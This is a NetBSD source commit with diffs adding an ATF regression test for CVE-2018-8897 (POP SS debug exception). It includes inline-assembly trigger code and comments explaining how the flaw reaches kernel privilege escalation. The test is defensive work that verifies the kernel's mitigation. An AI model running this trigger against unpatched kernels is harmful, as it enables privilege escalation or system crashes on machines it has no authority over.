Module Name: src
Committed By: kamil
Date: Sun May 13 23:14:48 UTC 2018
Modified Files:
src/tests/lib/libc/sys: t_ptrace.c t_ptrace_amd64_wait.h
t_ptrace_wait.c
Log Message:
Add a new ptrace(2) ATF exploit for: CVE-2018-8897 (POP SS debug exception)
The original expolit and mitigation have been developed by Maxime Villard.
I've reworked the shared code and adapted for the ATF context.
I've included PIE-aware version (RIP/EIP relative) and introduced
additional comments to the explanation how to trigger the flaw.
This test passes on NetBSD/8.99.17.
Sponsored by <The NetBSD Foundation>
To generate a diff of this commit:
cvs rdiff -u -r1.2 -r1.3 src/tests/lib/libc/sys/t_ptrace.c \
src/tests/lib/libc/sys/t_ptrace_amd64_wait.h
cvs rdiff -u -r1.38 -r1.39 src/tests/lib/libc/sys/t_ptrace_wait.c
Please note that diffs are not public domain; they are subject to the
copyright notices on the relevant files.
Modified files:
Index: src/tests/lib/libc/sys/t_ptrace.c
diff -u src/tests/lib/libc/sys/t_ptrace.c:1.2 src/tests/lib/libc/sys/t_ptrace.c:1.3
--- src/tests/lib/libc/sys/t_ptrace.c:1.2 Sun Apr 29 13:56:00 2018
+++ src/tests/lib/libc/sys/t_ptrace.c Sun May 13 23:14:47 2018
@@ -1,4 +1,4 @@
-/* $NetBSD: t_ptrace.c,v 1.2 2018/04/29 13:56:00 kamil Exp $ */
+/* $NetBSD: t_ptrace.c,v 1.3 2018/05/13 23:14:47 kamil Exp $ */
/*-
* Copyright (c) 2016 The NetBSD Foundation, Inc.
@@ -27,10 +27,11 @@
*/
#include <sys/cdefs.h>
-__RCSID("$NetBSD: t_ptrace.c,v 1.2 2018/04/29 13:56:00 kamil Exp $");
+__RCSID("$NetBSD: t_ptrace.c,v 1.3 2018/05/13 23:14:47 kamil Exp $");
#include <sys/param.h>
#include <sys/types.h>
+#include <sys/mman.h>
#include <sys/ptrace.h>
#include <sys/stat.h>
#include <sys/sysctl.h>
Index: src/tests/lib/libc/sys/t_ptrace_amd64_wait.h
diff -u src/tests/lib/libc/sys/t_ptrace_amd64_wait.h:1.2 src/tests/lib/libc/sys/t_ptrace_amd64_wait.h:1.3
--- src/tests/lib/libc/sys/t_ptrace_amd64_wait.h:1.2 Thu Dec 14 22:06:54 2017
+++ src/tests/lib/libc/sys/t_ptrace_amd64_wait.h Sun May 13 23:14:47 2018
@@ -1,4 +1,4 @@
-/* $NetBSD: t_ptrace_amd64_wait.h,v 1.2 2017/12/14 22:06:54 christos Exp $ */
+/* $NetBSD: t_ptrace_amd64_wait.h,v 1.3 2018/05/13 23:14:47 kamil Exp $ */
/*-
* Copyright (c) 2016 The NetBSD Foundation, Inc.
@@ -27,6 +27,9 @@
*/
#if defined(__x86_64__)
+
+/// ----------------------------------------------------------------------------
+
ATF_TC(x86_64_regs1);
ATF_TC_HEAD(x86_64_regs1, tc)
{
@@ -107,8 +110,223 @@ ATF_TC_BODY(x86_64_regs1, tc)
DPRINTF("Before calling %s() for the child\n", TWAIT_FNAME);
TWAIT_REQUIRE_FAILURE(ECHILD, wpid = TWAIT_GENERIC(child, &status, 0));
}
+
+/// ----------------------------------------------------------------------------
+
+ATF_TC(x86_64_cve_2018_8897);
+ATF_TC_HEAD(x86_64_cve_2018_8897, tc)
+{
+ atf_tc_set_md_var(tc, "descr",
+ "Verify mitigation for CVE-2018-8897 (POP SS debug exception)");
+}
+
+#define CVE_2018_8897_PAGE 0x5000 /* page addressable by 32-bit registers */
+
+static void
+trigger_cve_2018_8897(void)
+{
+ /*
+ * A function to trigger the POP SS (CVE-2018-8897) vulnerability
+ *
+ * We need to switch to 32-bit mode execution on 64-bit kernel.
+ * This is achieved with far jump instruction and GDT descriptor
+ * set to 32-bit CS selector. The 32-bit CS selector is kernel
+ * specific, in the NetBSD case registered as GUCODE32_SEL
+ * that is equal to (14 (decimal) << 3) with GDT and user
+ * privilege level (this makes it 0x73).
+ *
+ * In UNIX as(1) assembly x86_64 far jump is coded as ljmp.
+ * amd64 ljmp requires an indirect address with cs:RIP.
+ *
+ * When we are running in 32-bit mode, it's similar to the
+ * mode as if the binary had been launched in netbsd32.
+ *
+ * There are two versions of this exploit, one with RIP
+ * relative code and the other with static addresses.
+ * The first one is PIE code aware, the other no-PIE one.
+ *
+ *
+ * After switching to the 32-bit mode we can move on to the remaining
+ * part of the exploit.
+ *
+ *
+ * Set the stack pointer to the page we allocated earlier. Remember
+ * that we put an SS selector exactly at this address, so we can pop.
+ *
+ * movl $0x5000,%esp
+ *
+ * Pop the SS selector off the stack. This reloads the SS selector,
+ * which is fine. Remember that we set DR0 at address 0x5000, which
+ * we are now reading. Therefore, on this instruction, the CPU will
+ * raise a #DB exception.
+ *
+ * But the "pop %ss" instruction is special: it blocks exceptions
+ * until the next instruction is executed. So the #DB that we just
+ * raised is actually blocked.
+ *
+ * pop %ss
+ *
+ * We are still here, and didn't receive the #DB. After we execute
+ * this instruction, the effect of "pop %ss" will disappear, and
+ * we will receive the #DB for real.
+ *
+ * int $4
+ *
+ * Here the bug happens. We executed "int $4", so we entered the
+ * kernel, with interrupts disabled. The #DB that was pending is
+ * received. But, it is received immediately in kernel mode, and is
+ * _NOT_ received when interrupts are enabled again.
+ *
+ * It means that, in the first instruction of the $4 handler, we
+ * think we are safe with interrupts disabled. But we aren't, and
+ * just got interrupted.
+ *
+ * The new interrupt handler doesn't handle this particular context:
+ * we are entered in kernel mode, the previous context was kernel
+ * mode too but it still had the user context loaded.
+ *
+ * We find ourselves not doing a 'swapgs'. At the end of the day, it
+ * means that we call trap() with a curcpu() that is fully
+ * controllable by userland. From then on, it is easy to escalate
+ * privileges.
+ *
+ * With SVS it also means we don't switch CR3, so this results in a
+ * triple fault, which this time cannot be turned to a privilege
+ * escalation.
+ */
+
+#if __PIE__
+ void *csRIP;
+
+ csRIP = malloc(sizeof(int) + sizeof(short));
+ FORKEE_ASSERT(csRIP != NULL);
+
+ __asm__ __volatile__(
+ " leal 24(%%eip), %%eax\n\t"
+ " movq %0, %%rdx\n\t"
+ " movl %%eax, (%%rdx)\n\t"
+ " movw $0x73, 4(%%rdx)\n\t"
+ " movq %1, %%rax\n\t"
+ " ljmp *(%%rax)\n\t"
+ " .code32\n\t"
+ " movl $0x5000, %%esp\n\t"
+ " pop %%ss\n\t"
+ " int $4\n\t"
+ " .code64\n\t"
+ : "=m"(csRIP)
+ : "m"(csRIP)
+ : "%rax", "%rdx", "%rsp"
+ );
+#else /* !__PIE__ */
+ __asm__ __volatile__(
+ " movq $farjmp32, %%rax\n\t"
+ " ljmp *(%%rax)\n\t"
+ "farjmp32:\n\t"
+ " .long trigger32\n\t"
+ " .word 0x73\n\t"
+ " .code32\n\t"
+ "trigger32:\n\t"
+ " movl $0x5000, %%esp\n\t"
+ " pop %%ss\n\t"
+ " int $4\n\t"
+ " .code64\n\t"
+ :
+ :
+ : "%rax", "%rsp"
+ );
+#endif
+}
+
+ATF_TC_BODY(x86_64_cve_2018_8897, tc)
+{
+ const int exitval = 5;
+ const int sigval = SIGSTOP;
+ pid_t child, wpid;
+#if defined(TWAIT_HAVE_STATUS)
+ int status;
+#endif
+ char *trap_page;
+ struct dbreg db;
+
+ if (!can_we_set_dbregs()) {
+ atf_tc_skip("Either run this test as root or set sysctl(3) "
+ "security.models.extensions.user_set_dbregs to 1");
+ }
+
+ DPRINTF("Before forking process PID=%d\n", getpid());
+ SYSCALL_REQUIRE((child = fork()) != -1);
+ if (child == 0) {
+ DPRINTF("Before calling PT_TRACE_ME from child %d\n", getpid());
+ FORKEE_ASSERT(ptrace(PT_TRACE_ME, 0, NULL, 0) != -1);
+
+ trap_page = mmap((void *)CVE_2018_8897_PAGE,
+ sysconf(_SC_PAGESIZE), PROT_READ|PROT_WRITE,
+ MAP_FIXED|MAP_ANON|MAP_PRIVATE, -1, 0);
+
+ /* trigger page fault */
+ memset(trap_page, 0, sysconf(_SC_PAGESIZE));
+
+ /* SS selector (descriptor 9 (0x4f >> 3)) */
+ *trap_page = 0x4f;
+
+ DPRINTF("Before raising %s from child\n", strsignal(sigval));
+ FORKEE_ASSERT(raise(sigval) == 0);
+
+ trigger_cve_2018_8897();
+
+ DPRINTF("Before exiting of the child process\n");
+ _exit(exitval);
+ }
+ DPRINTF("Parent process PID=%d, child's PID=%d\n", getpid(), child);
+
+ DPRINTF("Before calling %s() for the child\n", TWAIT_FNAME);
+ TWAIT_REQUIRE_SUCCESS(wpid = TWAIT_GENERIC(child, &status, 0), child);
+
+ validate_status_stopped(status, sigval);
+
+ DPRINTF("Call GETDBREGS for the child process\n");
+ SYSCALL_REQUIRE(ptrace(PT_GETDBREGS, child, &db, 0) != -1);
+
+ /*
+ * Set up the dbregs. We put the 0x5000 address in DR0.
+ * It means that, the first time we touch this, the CPU will trigger a
+ * #DB exception.
+ */
+ db.dr[0] = CVE_2018_8897_PAGE;
+ db.dr[7] = 0x30003;
+
+ DPRINTF("Call SETDBREGS for the child process\n");
+ SYSCALL_REQUIRE(ptrace(PT_SETDBREGS, child, &db, 0) != -1);
+
+ DPRINTF("Before resuming the child process where it left off and "
+ "without signal to be sent\n");
+ SYSCALL_REQUIRE(ptrace(PT_CONTINUE, child, (void *)1, 0) != -1);
+
+ DPRINTF("Before calling %s() for the child\n", TWAIT_FNAME);
+ TWAIT_REQUIRE_SUCCESS(wpid = TWAIT_GENERIC(child, &status, 0), child);
+
+ // In this test we receive SIGFPE, is this appropriate?
+// validate_status_stopped(status, SIGFPE);
+
+ DPRINTF("Kill the child process\n");
+ SYSCALL_REQUIRE(ptrace(PT_KILL, child, NULL, 0) != -1);
+
+ DPRINTF("Before calling %s() for the child\n", TWAIT_FNAME);
+ TWAIT_REQUIRE_SUCCESS(wpid = TWAIT_GENERIC(child, &status, 0), child);
+
+ validate_status_signaled(status, SIGKILL, 0);
+
+ DPRINTF("Before calling %s() for the child\n", TWAIT_FNAME);
+ TWAIT_REQUIRE_FAILURE(ECHILD, wpid = TWAIT_GENERIC(child, &status, 0));
+}
+
+#undef CVE_2018_8897_PAGE
+
+/// ----------------------------------------------------------------------------
+
#define ATF_TP_ADD_TCS_PTRACE_WAIT_AMD64() \
- ATF_TP_ADD_TC_HAVE_GPREGS(tp, x86_64_regs1);
+ ATF_TP_ADD_TC_HAVE_GPREGS(tp, x86_64_regs1); \
+ ATF_TP_ADD_TC_HAVE_GPREGS(tp, x86_64_cve_2018_8897);
#else
#define ATF_TP_ADD_TCS_PTRACE_WAIT_AMD64()
#endif
Index: src/tests/lib/libc/sys/t_ptrace_wait.c
diff -u src/tests/lib/libc/sys/t_ptrace_wait.c:1.38 src/tests/lib/libc/sys/t_ptrace_wait.c:1.39
--- src/tests/lib/libc/sys/t_ptrace_wait.c:1.38 Tue May 1 16:37:23 2018
+++ src/tests/lib/libc/sys/t_ptrace_wait.c Sun May 13 23:14:47 2018
@@ -1,4 +1,4 @@
-/* $NetBSD: t_ptrace_wait.c,v 1.38 2018/05/01 16:37:23 kamil Exp $ */
+/* $NetBSD: t_ptrace_wait.c,v 1.39 2018/05/13 23:14:47 kamil Exp $ */
/*-
* Copyright (c) 2016 The NetBSD Foundation, Inc.
@@ -27,10 +27,11 @@
*/
#include <sys/cdefs.h>
-__RCSID("$NetBSD: t_ptrace_wait.c,v 1.38 2018/05/01 16:37:23 kamil Exp $");
+__RCSID("$NetBSD: t_ptrace_wait.c,v 1.39 2018/05/13 23:14:47 kamil Exp $");
#include <sys/param.h>
#include <sys/types.h>
+#include <sys/mman.h>
#include <sys/ptrace.h>
#include <sys/resource.h>
#include <sys/stat.h>
